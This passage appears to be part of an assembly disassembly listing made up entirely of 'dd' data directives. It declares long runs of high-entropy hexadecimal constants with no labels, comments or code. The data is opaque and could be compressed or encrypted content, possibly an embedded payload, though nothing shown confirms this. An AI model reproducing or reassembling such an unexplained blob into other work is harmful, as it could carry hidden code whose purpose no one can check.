		dd 0FB70EC8h, 741314Ch,	0B0156213h, 913098AEh, 38936F1Fh
		dd 2E01838Eh, 0ECC8A051h, 7701787Eh, 0F3B6462Fh, 72F82AA3h
		dd 0EB1480E9h, 89407F61h, 67E97856h, 238560h, 26A02492h
		dd 0C3479069h, 970C0CF0h, 108FA4D5h, 0CA07316Ah, 0E0443CA9h
		dd 0ED78286Bh, 0CE46E107h, 9511C3E0h, 6083418Dh, 108909B9h
		dd 8B55B807h, 9340A40Ch, 156E10Dh, 84BDEECBh, 81E5ED95h
		dd 33E9BF30h, 8848506Eh, 0B92D18B3h, 9C3FB8BCh,	0B414D200h
		dd 0D37E239h, 0B7FF316Ah, 603B6128h, 0A1010F6Eh, 2D677BF2h
		dd 3893D508h, 8721006Dh, 5361C128h, 8686E28h, 74810918h
		dd 782C0FA0h, 0E03D2833h, 0E7051EA8h, 96400292h, 0B8AF56B0h
		dd 0AAA36500h, 6D00E541h, 264E460Fh, 0F0DB8BB1h, 0BE2C3C68h
		dd 2DB9E482h, 58008CF0h, 50E2ACh, 0EE169391h, 84BA71ECh
		dd 9127DB0h, 4019AFAh, 693D95DEh, 79359700h, 8A79A190h
		dd 0D90EA61h, 46E02ED1h, 9E0A07D5h, 30369BE1h, 0E3588D31h
		dd 6A762501h, 0C65B2DBDh, 52F77880h, 5C1C186Bh,	0A4401B00h
		dd 92AC4ADCh, 9520C320h, 0D91F525Dh, 29CBCA23h,	0E24E867Ah
		dd 4F6F1E20h, 0D9650C60h, 6A004010h, 54A444DDh,	7A43D36Dh
		dd 7999003Bh, 0EE643F13h, 2D1ABA51h, 0AE30777Ch, 0B40F9240h
		dd 37FC86FEh, 0C03E4888h, 88888E24h, 0B70CF10Bh, 25B6E8E6h
		dd 8D560777h, 440A6C1Fh, 0E900D035h, 84A8D161h,	0E1C50FDDh
		dd 1987EC59h, 424E106Dh, 0E97C9688h, 8AA54902h,	80D6254Bh
		dd 23F67188h, 5077FCC6h, 528A2CFFh, 100AC03h, 0C0ACB02Fh
		dd 60902CD8h, 1EE9BA20h, 0AE20921h, 8094B7EAh, 8CFFD225h
		dd 0B8F8DC76h, 7A46B49h, 5E6DE01Dh, 0C1FE7880h,	422B0041h
		dd 0DCFDB1C3h, 8032772Fh, 4013F82Dh, 0F15BE98h,	0D9D308Ah
		dd 163D5B00h, 4C17C4AAh, 0F2133C32h, 0B3BAFC00h, 286A970Dh
		dd 9BC4770h, 8FE958DFh,	0F76BFC00h, 9D242D46h, 9CA97417h
		dd 0CA160986h, 95DD0CE0h, 251885DAh, 49A97200h,	0DB2DAAB9h
		dd 9CC8A055h, 486D3A43h, 99ABF780h, 3B46F9A0h, 584D6E00h
		dd 490FD3D9h, 0A265F056h, 5AF40208h, 6A450079h,	78CE8286h
		dd 338080D7h, 90B79577h, 419C2870h, 8F6524E0h, 0FB803E3Dh
		dd 0AF159908h, 0D800A70Eh, 0DB2F21EBh, 161B34EDh, 1869C889h
		dd 0C641C94Ch, 0FE019090h, 0CEF5EB5Dh, 68244A95h, 99252692h
		dd 67E38180h, 0FAD6555Dh, 0F1960460h, 0CB741D12h, 7D10CC00h
		dd 22AF21Fh, 2D885CDEh,	0E3C35D25h, 82E330A7h, 16105C3h
		dd 0E49EA02h, 1EC30AA6h, 77E60C25h, 57285E10h, 823D14BFh
		dd 86283C6h, 0C2F60235h, 1E088EEEh, 7D5F258Bh, 0F0EAF381h
		dd 8280C3FAh, 503D6AF6h, 0EF321F39h, 4F73C74Ch,	0AFC50FF7h
		dd 19D62064h, 0D858168Fh, 0CC63AA9h, 208E0D8Ch,	2A3F8828h
		dd 7D5390D7h, 0D985C3Eh, 0DE020C46h, 6E610FFAh,	243EF05Bh
		dd 0D1EC09E5h, 0D4898078h, 5A675B0Eh, 2D8CBFF7h, 7BBE1826h
		dd 1D663059h, 5610F5ACh, 42883F63h, 8AC400FDh, 0A4BC54E7h
		dd 5A026D34h, 3ECC24Ch,	2BFEE052h, 2731809h, 0F4821ACCh
		dd 412D720Eh, 0A1C4C00Dh, 27CDDE5h, 565CDF02h, 0A7A103BEh
		dd 584A0B69h, 66400DBBh, 28B9A406h, 0B0A7C184h,	0D8E9C25Dh
		dd 0B7A7585Bh, 32D7D25Ah, 60F98EA3h, 0A5D1D99Bh, 54148633h
		dd 8686E48Ah, 881722F5h, 0A8263D40h, 798C67A1h,	0B0691805h
		dd 0F92F2D57h, 2DEE80A3h, 558140E6h, 0C2162530h, 0C882600Dh
		dd 66F059A7h, 32673234h, 48AD4A39h, 80F278C1h, 16610F9Bh
		dd 4D321866h, 278EE225h, 0EFCFBE81h, 0E6C20FE1h, 0B03A43F6h
		dd 3C74F30Ch, 77BEED2h,	7D5210CEh, 7D1E8E84h, 20E8387h
		dd 5EEA2329h, 4883C2CAh, 8A6C0D34h, 33EA0D06h, 901C2CB1h
		dd 0E28CF23Eh, 621CF16h, 4F20B788h, 0AA2950F2h,	0EF66717h
		dd 2D2450BFh, 0C7008202h, 536CE162h, 0E85FF30Ah, 4B090F8h
		dd 0E8EA525Bh, 675A071Fh, 0F2068785h, 0A10BCCFFh, 0AB224A64h
		dd 0D5211604h, 184B8783h, 62B9510Ah, 0A6C8020Fh, 1C0E6482h
		dd 0BA88DBF8h, 0C008D437h, 685763F3h, 460C5960h, 150790Fh
		dd 2A5BD28Ah, 20C45AD0h, 0C2D0D884h, 0FC6ADF2Dh, 0E88A5802h
		dd 4439F6EAh, 3F978908h, 67387EF3h, 49F843B0h, 10DA8800h
		dd 23F50FAh, 0FF3599E0h, 5DB9691Eh, 0D14B51FAh,	4F8A5BC1h
		dd 93EC582h, 2D24FA22h,	1049CB53h, 5E1440DEh, 0D3CCD388h
		dd 0EA139D06h, 18453F20h, 1C0AED82h, 0EA86EA55h, 487AECF2h
		dd 88320684h, 0BB845D7Eh, 0F0EA92FCh, 4FEE1540h, 359D681Fh
		dd 460C818Ch, 1E220ABFh
		dd 8E449F7h, 0F6358992h, 0F6AB7501h, 67F4ECFEh,	591ACA53h
		dd 4806486Ch, 7B820B0h,	78726325h, 0EA59802Ah, 0DB925423h
		dd 2653FB4Ch, 0C79596F3h, 88064423h, 1813552h, 8610C10Ch
		dd 34B3F406h, 78C14A2h,	0EB22FE89h, 0D1A6605Ah,	5E20F75Bh
		dd 206761B8h, 42B353ADh, 56278BF3h, 2C95F1F4h, 8609E364h
		dd 0D604381Ch, 6012C984h, 9671E108h, 6C2008CEh,	0EA02DB1h
		dd 0B8E28100h, 771FC2E6h, 255C929h, 0EF8201C0h,	287E4033h
		dd 17D0C9Dh, 3AEA5E42h,	623C8090h, 9BBB53C4h, 3B1F003Fh
		dd 0CB82EBD2h, 0C5064CC2h, 2A30EA18h, 38F81FBBh, 74696A5h
		dd 7685ACBh, 0C4FCF414h, 6008017Fh, 0BB69A6EAh,	74B522C7h
		dd 934E938Ch, 0E1720A58h, 20E8BEFDh, 0FF5A1F0Eh, 13C8811h
		dd 272B92CCh, 0B21D22Fh, 0BA0049C9h, 6AFA7C69h,	37300190h
		dd 0C22ADC67h, 0E2E459h, 6FF28208h, 0F855EB47h,	39EADA0Ah
		dd 538EBB60h, 9D096FB7h, 8C815B8Eh, 0EC4A0644h,	233567D0h
		dd 6F0D299h, 0C8FB4F43h, 892C2EAEh, 56128FFAh, 88041252h
		dd 0FF900102h, 2414F7h,	0F1814959h, 667503FFh, 0EC00E9ECh
		dd 58034D8h, 1F7773E3h,	1EC82944h, 4FFF1C26h, 81C1EEC1h
		dd 0CD4F45F6h, 0D260E661h, 0FC6016E9h, 48B6622h, 0EC813A24h
		dd 891EFA4Dh, 12835B1Ch, 91FF34B3h, 40C681E6h, 4BA6E911h
		dd 9C8B0ACCh, 0E2892452h, 2011221Bh, 680308DAh,	4FBE1227h
		dd 4357D95Ah, 52F82900h, 0BEF5FCF0h, 0EA367E88h, 81DA0CDCh
		dd 0E1F05124h, 530CCF2Bh, 0D99C284h, 0CBF898FFh, 5910CF86h
		dd 40FA03C6h, 0C0C58001h, 0C8BEE88h, 4C4CA8Fh, 668FE662h
		dd 284DC381h, 2C5BD8FEh, 0F0601E70h, 0DFF6AE16h, 0EAC77C80h
		dd 0E904C3D7h, 62016B87h, 0C0B60F5Ch, 0E1EB24FFh, 0AF8EFE85h
		dd 90762EBh, 8288B268h,	0C3E2A06Bh, 40066388h, 2474FF53h
		dd 0F333E9FCh, 0A661469h, 0D1468ABh, 0A42BCC2h,	0A61FCFE9h
		dd 2125768Dh, 4F86DB05h, 58D8E157h, 518BA18Bh, 5081E1FCh
		dd 0CC833AC1h, 5C54870Ch, 0B87F5071h, 2A374607h, 3E985FE9h
		dd 30336802h, 0B4B0B73h, 5E089E0h, 7C024A9h, 0BD5500E8h
		dd 74A7173h, 7C10E918h,	3ADB824h, 1754D3Dh, 61458C7h, 790BEF81h
		dd 46C88377h, 68CB363Ch, 0FDBF5700h, 0E9212666h, 0CF5192A2h
		dd 2D06FB42h, 0EE07872Bh, 80CE2859h, 0F2672455h, 83E94113h
		dd 313A24E7h, 0C8153C64h, 0C428D5EDh, 89681565h, 9A41A54Eh
		dd 0F8603FBh, 8B2D777Fh, 1B189C42h, 0F70D93E9h,	810038AAh
		dd 1D1305E7h, 0C6E91A15h, 1C10222Fh, 0C7486866h, 2060736Fh
		dd 635EBD12h, 32287AEEh, 0D8ABF29Eh, 6805B84Ch,	1BB1641Dh
		dd 8953E94Fh, 0E92330E3h, 3CF56D78h, 52480222h,	55312E46h
		dd 57C8EB5Fh, 5D503589h, 9664AB2Fh, 7890915h, 0E54155E1h
		dd 8308C581h, 2CD3ED50h, 8D0CA2A0h, 4FEBDDC1h, 0CB3032C3h
		dd 965B53DAh, 5D618586h, 10A0F568h, 5100BC3h, 29A1C24Fh
		dd 6F3F8788h, 2808EA0Ah, 22E452h, 42D62D2h, 55702654h
		dd 1D31E91Ah, 0C15A4E3Eh, 0A21BF86h, 4077DAFCh,	1C943412h
		dd 81CF8707h, 0E9D2F7D1h, 5BE824F0h, 0B1519AA8h, 8EC0633Eh
		dd 49D9F606h, 7B3484D1h, 3E846802h, 0F4A631AFh,	0C7427F36h
		dd 5C038720h, 7EFC059h,	0F8119B80h, 74F8281Dh, 1C8B262Ch
		dd 0AFEB6045h, 0D4B8B450h, 3758E338h, 0E98116C3h, 935124B9h
		dd 0F144D2D0h, 0EA380695h, 0F9515202h, 8A0B8455h, 3140E90Ch
		dd 0B8A05D10h, 0F3FE102h, 0DFD7A6C5h, 21094B20h, 2D29E9F8h
		dd 0DB1C4E62h, 24D85C01h, 43783B07h, 41D08632h,	3470E91Bh
		dd 29300995h, 0F7832057h, 3D3B4EB1h, 9D08AAC5h,	0F11C6651h
		dd 615465D7h, 0CBFF0034h, 5F7E1D5Dh, 2E60BB31h,	621C388h
		dd 0D04487C2h, 5C8418A5h, 0B2435134h, 0D552E9h,	9396856h
		dd 0F7594516h, 3D9FD950h, 0C88913C4h, 98291DD8h, 0D6E91A56h
		dd 0B7143CF9h, 0A4244A9Bh, 8E808944h, 52B28BDh,	1AE946F8h
		dd 86800DDh, 382AF281h,	0D1B60562h, 681D815Ah, 3F331AECh
		dd 60E95404h, 0B2C88C7Eh, 442C7C7Ah, 2C91004h, 62A9424h
		dd 59F22B5Ch, 57826C59h, 0EB9A1BB3h, 51D8818Eh,	4D023030h
		dd 0B403B866h, 0E288520Ch, 58F89A96h, 0B00650FCh, 0F48EE9ECh
		dd 0B8E883Ah, 840F15C0h, 0F258F36Bh, 18C1C29h, 766E3EEBh
		dd 21D43131h, 0E9080052h, 0ADDD7D42h, 20332F8Bh, 1D4DBE54h
		dd 0F7530BE7h, 0B78046DEh, 7AB122D8h, 6E18102h,	0E140051Fh
		dd 8ADCCD77h, 83412409h, 0C5503A18h, 6704068Eh,	0F6CE29D9h
		dd 74DAC605h, 76C11698h, 6AC9ED6Bh, 0A263E742h,	4D12A86h
		dd 0CD688CB9h, 3970594Dh, 0C4B7588Bh, 0E4CA102Eh, 425724h
		dd 6F7B364Bh, 193D67BFh, 1C31A42Dh, 0E9063124h,	2C2C27F2h
		dd 8EDBF7h, 707F0C01h, 58CCEDC1h, 0A0334F7Eh, 5CF75CFAh
		dd 3C1082F1h, 6ADE57F0h, 5D42EE98h, 0E9DB828Fh,	89FB69A3h
		dd 0FD13B2BCh, 68676057h, 899B7A17h, 0FB287822h, 26BD05Fh
		dd 75A80213h, 0C05E0640h, 310C4669h, 4B4C530Bh,	8776C60Ch
		dd 0F72886F6h, 0E839E8D5h, 4C69583Fh, 7959560Dh, 10228325h
		dd 7B6B72Bh, 0F9285CB1h, 80CB055Bh, 7968C3E6h, 0C0801848h
		dd 0C68062B6h, 0AF6E671h, 5AF32875h, 107C4A46h,	0B2543466h
		dd 9683069Dh, 0B8D527Eh, 666DEEE0h, 0C1448F1Dh,	5F120398h
		dd 26BF2477h, 0B9E1001Fh, 0F2010DDFh, 72B35E48h, 3431644Ah
		dd 0BC54D3F8h, 88D4C446h, 0D2555220h, 541A7694h, 0E043E3Fh
		dd 9251315Ah, 43335E01h, 66531F2h, 93405C0Dh, 589FCCBBh
		dd 0D8293111h, 0FD575B85h, 0A3C66E7h, 0CD3B9768h, 0CFC46F6Ah
		dd 514C4B13h, 0C2FD6086h, 0BB4F3A0h, 0FBA03DB0h, 3EB0D328h
		dd 0ECFC59F3h, 0E9375BD8h, 80118003h, 0CCCC6FE4h, 79C4EC56h
		dd 0AAEC0065h, 0E2289FB2h, 0D00B3058h, 148447E9h, 6A12F6CEh
		dd 14331719h, 4758BE2Fh, 0F380E44Ch, 3731341Bh,	0C8022898h
		dd 0E9E25E47h, 0BFC76826h, 8C5B1E4Bh, 28078C48h, 3F76C737h
		dd 5A135814h, 7E0228F8h, 0A85EF722h, 9F1F6EDh, 0CCB60F66h
		dd 0CB01683Ah, 4C055854h, 474852AAh, 2CBDCAC2h,	0C6E8290Ah
		dd 36645D92h, 38822974h, 0F07B4673h, 0A4DF54F9h, 0F2273F5h
		dd 0CDFE8FE5h, 8D19CCA5h, 1B1992Bh, 0CEFD9C46h,	85D459C6h
		dd 5C43D568h, 8AE0DE35h, 45590E7Bh, 922F89Fh, 329005E9h
		dd 6A194245h, 9104452h,	7A05CD6h, 8E7C380h, 0D4A36C7Ah
		dd 28F231EBh, 1C1C960h,	7579EF3Eh, 4329640Ch, 7D77244Ah
		dd 907379DBh, 20099E4h,	18E44EEDh, 51440D51h, 0BE0273A3h
		dd 30C614B1h, 0E4909761h, 0B9003B42h, 0F583F00Dh, 255DE901h
		dd 220EF131h, 0CA57CFE4h, 0F28A60CDh, 13971E11h, 2CD5891Ah
		dd 694BE907h, 0B5BDB500h, 76C73Dh, 140FED81h, 0BCE90773h
		dd 6654F892h, 0D08B025Bh, 50FC331h, 22E9C0B7h, 0E3B6448Ch
		dd 0E7749C57h, 0A5147C9h, 6F096848h, 3A8B57h, 32F3F66Fh
		dd 89E004A6h, 0B5FBE9F1h, 5645D04Ch, 440EC432h,	5D2D000Dh
		dd 5A008B20h, 0DD593505h, 37C689BCh, 643E0158h,	0D7779316h
		dd 8187B0B9h, 685EF30Fh, 0D9362B73h, 11213A19h,	8E370E6h
		dd 1F3E5600h, 83DAF74Ah, 68010DEAh, 44CB4322h, 0DC4DA551h
		dd 18DE776Eh, 0C597E2CFh, 88C28BEAh, 9E42093Eh,	0A45D8311h
		dd 0D5624460h, 0E119C15Ah, 290A2C05h, 0C516FA69h, 0C839923h
		dd 0B1E84587h
		dd 0E67DC0C6h, 814E4C1Dh, 4C89D027h, 0A012D92Bh, 81C72D8Ch
		dd 0E9D588FEh, 0B750E629h, 1F54F2EFh, 1350F8F7h, 8F7F8115h
		dd 5620DC02h, 0FF64FEB1h, 52C5EB91h, 33073102h,	1DAB139h
		dd 0D9213189h, 0DA8B14A7h, 0AF236977h, 0C885E9C1h, 3F413EACh
		dd 4616DB02h, 4D4DF0E4h, 51862336h, 0D6941048h,	88020CECh
		dd 9240C0E9h, 3C54585Ch, 47E6264Eh, 94841920h, 210939B9h
		dd 0AE82F61Dh, 9288CC97h, 0B2BFC8C2h, 89C63636h, 0D15807CDh
		dd 0A4377BFCh, 26024ED9h, 0E9182944h, 0C55BDFD7h, 0F9B807ADh
		dd 0D3EB0144h, 0C5797C4Eh, 877432CFh, 54F65AB9h, 0A46CF810h
		dd 6D7DA10Ch, 8013B100h, 0BB7FF139h, 0C82C70C1h, 7818BF59h
		dd 7E5FF8E1h, 51169689h, 702D9231h, 0F8B99283h,	15551C79h
		dd 0A5512B68h, 9D504818h, 18FC4FEFh, 98205CB0h,	0B6681240h
		dd 13E3987Bh, 0B5601A41h, 6C763CF6h, 7713B4DCh,	0E5BB41F8h
		dd 66216E68h, 0AAC04DBh, 9D8067DAh, 4CCD68F8h, 0FE01B01Bh
		dd 2939F01Eh, 49231D1h,	878D9508h, 283CC84Bh, 4E07ADFDh
		dd 5F349C67h, 0ADA036E5h, 0E3C32480h, 4F68588Bh, 2EE95B62h
		dd 0F5CFA0FBh, 0B0537C2Ch, 0CED0171h, 893405CEh, 0A07088EBh
		dd 0EEF21E8h, 21768F58h, 0C9F0315Bh, 0A408A0C6h, 8A4DF52Ch
		dd 2741E8CFh, 30F75919h, 764A4330h, 60828D27h, 99355A29h
		dd 82DD99EBh, 587306E3h, 728994FEh, 7AE6A690h, 4452091Eh
		dd 13A10C8h, 0EE45B3BAh, 2A6D2025h, 138C3216h, 5CC41C00h
		dd 9809383Eh, 0E5C11454h, 0DA01A503h, 0E970FD6Fh, 2CF294Bh
		dd 0B739A3F1h, 0FC27701Bh, 0B02F09DBh, 270E0106h, 0FF2DE860h
		dd 0D49AF03h, 0BEBB80BAh, 0B85F585Ah, 0A65B50E8h, 0F54568D2h
		dd 443113C7h, 186CF6D4h, 808AD822h, 3B053EB9h, 0D1F7419Eh
		dd 7A126C5h, 82003104h,	0F50CA9B8h, 43350078h, 21426417h
		dd 520C58C5h, 0C4EAEFE9h, 0EDC12C5Dh, 0E4CD0146h, 0D86B5677h
		dd 2E187DE5h, 85FA40DFh, 0D8AB32DEh, 0FF788BCEh, 0B0447720h
		dd 4E9D0312h, 0C9813F2Bh, 0EE651CE9h, 0F2AE0CE0h, 31DEC307h
		dd 4FB59CAh, 9C837712h,	0BC10ED29h, 3E90E08h, 0AB251C80h
		dd 25A11C13h, 1A20887Bh, 37AB36AEh, 6449FF90h, 51660341h
		dd 0D1A3B450h, 0C92455BDh, 0B346330h, 514A57F0h, 5255EE13h
		dd 56551758h, 0C94E2709h, 0F0284D4Fh, 0E21C5B2Eh, 90902F9h
		dd 5C538A26h, 4FA73346h, 80D2035Eh, 8C260CBh, 8166676Ah
		dd 95EE8105h, 0ECC32E6Bh, 8BC6C2D6h, 20551C08h,	30541729h
		dd 0C96BCDBEh, 663F6162h, 1887C29Fh, 0F03019C1h, 733761FFh
		dd 0E8004FE0h, 239EB850h, 0D4B03E0h, 6375334h, 0E87E88A9h
		dd 0BA1C353Eh, 0FDA8F77Fh, 0A0704401h, 5866E939h, 3286565h
		dd 0AB134015h, 68248311h, 0EB40736Ch, 139A1147h, 0C061E946h
		dd 5AF088C1h, 785A4198h, 5E74725Dh, 8693E508h, 0FF09D068h
		dd 1C2A4220h, 0CD5AD488h, 0F9DF58E5h, 0F74F6471h, 0A0B0DD6Fh
		dd 15F7E23h, 295D4EEEh,	6ADD729Fh, 3917B922h, 0DF49F224h
		dd 33BE4091h, 0D3FE842Ch, 2A2B3C4Dh, 314CB20Fh,	48E74D0Fh
		dd 65B012E7h, 82511D49h, 5685FBh, 24E7BF57h, 811A3F00h
		dd 0DD4355C7h, 0E64EAEEFh, 0E4E912FDh, 0A9F14138h, 0E828024Dh
		dd 14C16EF7h, 5AD3015Eh, 1FA68230h, 0BC19AF3Eh,	0BC1252B0h
		dd 122EEA7Bh, 3300DB51h, 5E97E1Fh, 0A633B980h, 84812127h
		dd 0B2505AD0h, 49381804h, 78E3C11Ah, 725B2A03h,	6DEB24F2h
		dd 8B5565C5h, 685D049Fh, 34F21CE2h, 3B587142h, 1DF2E982h
		dd 14BBC246h, 9B25A72Bh, 940CCE6Ah, 21E963DFh, 0DF686D09h
		dd 2A6C4628h, 0AB27188Ah, 237ED97Bh, 0BF425323h, 0D2A868C7h
		dd 89606D71h, 289007E5h, 2E7FBE02h, 6883E97Ah, 777FF23h
		dd 59669D1Ch, 0B2259D2h, 102C804h, 63D841F9h, 98480F39h
		dd 0D829205Ah, 0C345E955h, 680B7B69h, 0EB9A4F18h, 37462083h
		dd 4729E114h, 0C451CFABh, 0EDA22E1Fh, 0E7858139h, 0C0926759h
		dd 4A7EA609h, 3B3D0D48h, 470075D1h, 32E6E781h, 29E97F49h
		dd 9C66696Eh, 27119658h, 0C7949Dh, 0C040B551h, 80080BE5h
		dd 0B5E36CF5h, 12241833h, 87EDE085h, 0E130E7C0h, 0E9CD39E5h
		dd 0B36705AAh, 0C923ADFCh, 0C5018C91h, 0AC405F0h, 50D53C5Bh
		dd 1E6649C4h, 0F6B6BE56h, 0F8942402h, 2875A688h, 3D2CEC65h
		dd 3B92710Fh, 0ECD29D1Bh, 17C02BB8h, 766BD1C1h,	0BCF3E97Eh
		dd 0DB518C82h, 0A3646BE9h, 8CA931B0h, 0FCC3BD87h, 972CD22Ah
		dd 0C2470645h, 34BE4F80h, 939801h, 2B33EC05h, 6E70686Ch
		dd 0BE441C8Bh, 4B13CB10h, 13480609h, 0E1A0DEF7h, 2D240C79h
		dd 0F5404447h, 12BE7E86h, 61EE31F7h, 728DE929h,	89C33BD4h
		dd 97D9576h, 8BF080Ch, 0FB015E13h, 6D5C59D0h, 33A6DF70h
		dd 782492A3h, 120CFD0h,	844C368h, 0D587580Ah, 88835B92h
		dd 0AA2D8848h, 490D0930h, 959C329h, 38B4E984h, 0C2DA8412h
		dd 0CCE9EC94h, 3F16372Ch, 57E29150h, 3C83C12Eh,	12850D98h
		dd 70AF6BEh, 8E83627Ah,	0E3ED963Eh, 0AB4CD5DCh,	5DAACEh
		dd 9E7937BDh, 25682135h, 9844C013h, 99F3FB8Ah, 3EB15524h
		dd 0B66AA0h, 0F334E9E8h, 0BC05B256h, 28F30EF0h,	3482B22Dh
		dd 70B95F55h, 0BC033021h, 0BD00AFB4h, 0C76DE3D8h, 5EF50B01h
		dd 2A80DD29h, 71552DEAh, 70ED7A7Ch, 80824014h, 0A1445809h
		dd 30DB863h, 66D6675Fh,	1C40CE29h, 0A92CE908h, 68C15F38h
		dd 29661D2Bh, 5557E50Fh, 883C6681h, 0CD8A6008h,	1A3B17ECh
		dd 86ED3B62h, 4D226415h, 29AC010Eh, 4EE94836h, 76BEB5EEh
		dd 7159DD49h, 2F12EA23h, 6F0E5508h, 0DC051690h,	3775EA44h
		dd 2105EE3h, 0F021122Fh, 0D1920AB2h, 75D9D786h,	8157200Bh
		dd 3CCA28C0h, 30E94CDBh, 0F67B7279h, 40304490h,	5D820C41h
		dd 0F782A103h, 0B17A7930h, 0AD2D017Ah, 2014683Eh, 79B24C0Dh
		dd 0E404E62Ch, 4BC05613h, 0F2B252ACh, 9093B028h, 0C85BBBh
		dd 0DFF7817Ch, 0E865FC84h, 0F347DA5Ah, 41C213DDh, 17945845h
		dd 3366B55h, 654E94Dh, 315F683Ch, 0EFC104D7h, 0EB86ECEBh
		dd 0EAD10C40h, 89F2C23Bh, 9856DD40h, 5B4200E2h,	7EBE6574h
		dd 98038DA1h, 0B1E9FE29h, 0B5554481h, 2C0B2C68h, 60186985h
		dd 588148DFh, 0CDE5A265h, 0BA006338h, 13B5377Ch, 4E9EDA29h
		dd 43C2B053h, 526D1F2Ah, 3CA414Ah, 2019F95Dh, 2819FB60h
		dd 7180577h, 0E031FBDBh, 0F27C3BF2h, 0D3292579h, 874F6814h
		dd 3E99230h, 932C8036h,	474C8E0h, 0AC3DD9F7h, 58675016h
		dd 5A32D0B2h, 76530F3Bh, 5A7F689Bh, 0E6D9E173h,	4A40F502h
		dd 0A5C68001h, 0EF107178h, 39D360EEh, 48DB264Eh, 57EC0280h
		dd 0ABC35C22h, 0E05D099Ch, 0A0D6EF43h, 0E24A5EC3h, 87D250F7h
		dd 0B8BAF095h, 5B6820ADh, 0E6F6801Ch, 0E414C6D8h, 9395B940h
		dd 6F0504B0h, 0D210B93Eh, 843079E1h, 59E09E77h,	840CAF83h
		dd 44A95C46h, 1057C10h,	19A56853h, 51ED10FFh, 0F33132Ah
		dd 850902C3h, 2E6DE29h,	37AB2180h, 8B7153BEh, 708DEEDEh
		dd 146696E9h, 934E5Dh, 256316CEh, 494EE964h, 0E15BC722h
		dd 11A450B5h, 704A25EDh, 1EBCD900h, 811649CEh, 890982C9h
		dd 0B6710039h, 9B206721h, 363C10DDh, 0D3E812Ah,	65705648h
		dd 2E8E698Ah, 263D3829h, 46FD8F5h, 0EB88141Bh, 53819D07h
		dd 71ED4E75h, 24A7656Eh, 7B139778h, 8B012173h, 722D6DB3h
		dd 3E15B860h, 54861ECh
		dd 0E95E5D04h, 89E3B020h, 0E48FE34Eh, 125E6D52h, 5BF5E02Ch
		dd 13E9281Eh, 700125B5h, 594C2CD0h, 34D4FCCDh, 0E9D87B28h
		dd 4BE9C1F7h, 0BA03F968h, 22F757D2h, 94320FD1h,	1EA3E56Fh
		dd 30D30542h, 0C453E8C7h, 0FC0A49C2h, 1DAE64h, 0F9B58CB3h
		dd 81CEA228h, 0C5FE0810h, 9205EA70h, 0B8CDF018h, 520D0FE3h
		dd 0CE0FD9B6h, 0F606EEA1h, 20A8FDEh, 50220980h,	8F20E1B9h
		dd 127CB625h, 828DD3D2h, 26668525h, 21379D2h, 410262B8h
		dd 57F00106h, 40D2D648h, 50B85A0Bh, 24B2C399h, 44504456h
		dd 44B25C5Eh, 89045A7Eh, 6D41E9E6h, 7449B507h, 69E3BC44h
		dd 0A9A46526h, 3B190981h, 52DDC690h, 9656BA0Eh,	4D82D7CFh
		dd 0D1FA8929h, 625B12CAh, 0B25C6690h, 47A688h, 0C62EF381h
		dd 93EC96Ah, 0E43ADDEh,	0C1F8A4F9h, 0D605A090h,	6EED3589h
		dd 5C26C1E1h, 10BB2921h, 0AD48D925h, 0A769A504h, 283BD2Dh
		dd 30549CE2h, 32426051h, 533402CFh, 7BE9D689h, 1F4D62CAh
		dd 41FDE98Bh, 0F0815010h, 0A1B4C2Eh, 0D5D73042h, 300F3114h
		dd 57FC01C2h, 0C2210DDEh, 4036B830h, 0F5138045h, 0A0E7300Eh
		dd 14EC61Ch, 9E95AF0h, 2C2B2D7Fh, 62275040h, 88FCD387h
		dd 87A4CA6Eh, 0EA9F656Fh, 5A07F01h, 19411CC2h, 2901CC44h
		dd 404AA45Ch, 7064BD02h, 1C06F06Ah, 278AA08h, 7D1E94Bh
		dd 9C8FBB00h, 0A0825F88h, 31092D76h, 62034348h,	5E07073Ah
		dd 373288DDh, 13D0A292h, 1A3CC9Ah, 2943A19Dh, 0D25EA277h
		dd 0F516A8C5h, 81079E13h, 3BC96C3Fh, 4204714Fh,	0DAE64617h
		dd 814BBBF0h, 6B1C7141h, 0FCEC0D8Dh, 6586B418h,	0AC6FB0F6h
		dd 53D8300Eh, 855249B3h, 94B46CFEh, 0FC2B1650h,	1A740017h
		dd 4B48A679h, 0E0DBF739h, 0AA4DC614h, 80DD9A30h, 950CAABh
		dd 0DEF70DF8h, 52029F87h, 0A26146D6h, 0C83D30DCh, 2E296394h
		dd 6BE95602h, 51F15654h, 540E2BC5h, 0BD552540h,	7970C280h
		dd 209CB801h, 8977FE73h, 0D5C5CDFFh, 0A64B2BEBh, 0A1305356h
		dd 109E2906h, 28E9138Bh, 166CF3F1h, 881B3124h, 7C34EF52h
		dd 3F09B1A4h, 70131C6Fh, 4916667Dh, 41007B4Bh, 5F0EC568h
		dd 4E149562h, 2ACFAC80h, 0FE41D426h, 89E3F600h,	0BDF2920h
		dd 8E9575Bh, 93958450h,	0AA820920h, 8C0E011Dh, 5914CC88h
		dd 18DE05B9h, 5DC067DFh, 2F68106h, 8A5213Eh, 0EEAA3E9h
		dd 0E0EDEC04h, 4007B933h, 8133643Ah, 0BB2BC1B0h, 9F1ECD7h
		dd 5C0952A9h, 0F080BD58h, 28F8575Eh, 81890CCEh,	0C3010F13h
		dd 0D40BCD30h, 0E40049CFh, 813C1219h, 655910E7h, 61676DEh
		dd 474E35E9h, 0E6B6C55Fh, 4A6B7A5h, 12640195h, 68316FA6h
		dd 0F80473B9h, 89CA629Dh, 0A1D41484h, 0B6168DCDh, 0AC607CD2h
		dd 6301E7C2h, 3BBC1027h, 1A734ADDh, 7A61909Ah, 5C3624E0h
		dd 3A08BFA0h, 0D64E6636h, 882E6h, 654F63ADh, 1F75B14h
		dd 0D8BCE6B1h, 0EC388064h, 1695D46h, 0EA5550F3h, 48FEE6D9h
		dd 4A608F41h, 54A4653Bh, 4D8E8948h, 665E0B0Ah, 0CBB02FFh
		dd 2445D4BFh, 2F180258h, 0C1606BD7h, 202C2BB0h,	312C2622h
		dd 91900820h, 3C46A020h, 0F607F488h, 3EC80D4h, 25AFC4FEh
		dd 0B78C042Ch, 0D8F70143h, 0EA205191h, 0D1F6803Eh, 0AB75334h
		dd 241D92h, 31DF135h, 93916158h, 5F7A6CF6h, 5F3314Dh, 0C08A6C6Bh
		dd 9951A37h, 0CE0A4CE9h, 0F9BF581h, 9CFD74ECh, 0C861253Dh
		dd 0E91879DEh, 0B75D390Dh, 0CAD1837Dh, 0F1DF9C25h, 18F2C893h
		dd 58C74A9Fh, 5EE52552h, 0AD361127h, 16419A20h,	0B6B195Fh
		dd 447133B6h, 0E173C04Bh, 5AC43F1Ah, 4B58C30Bh,	584B5C71h
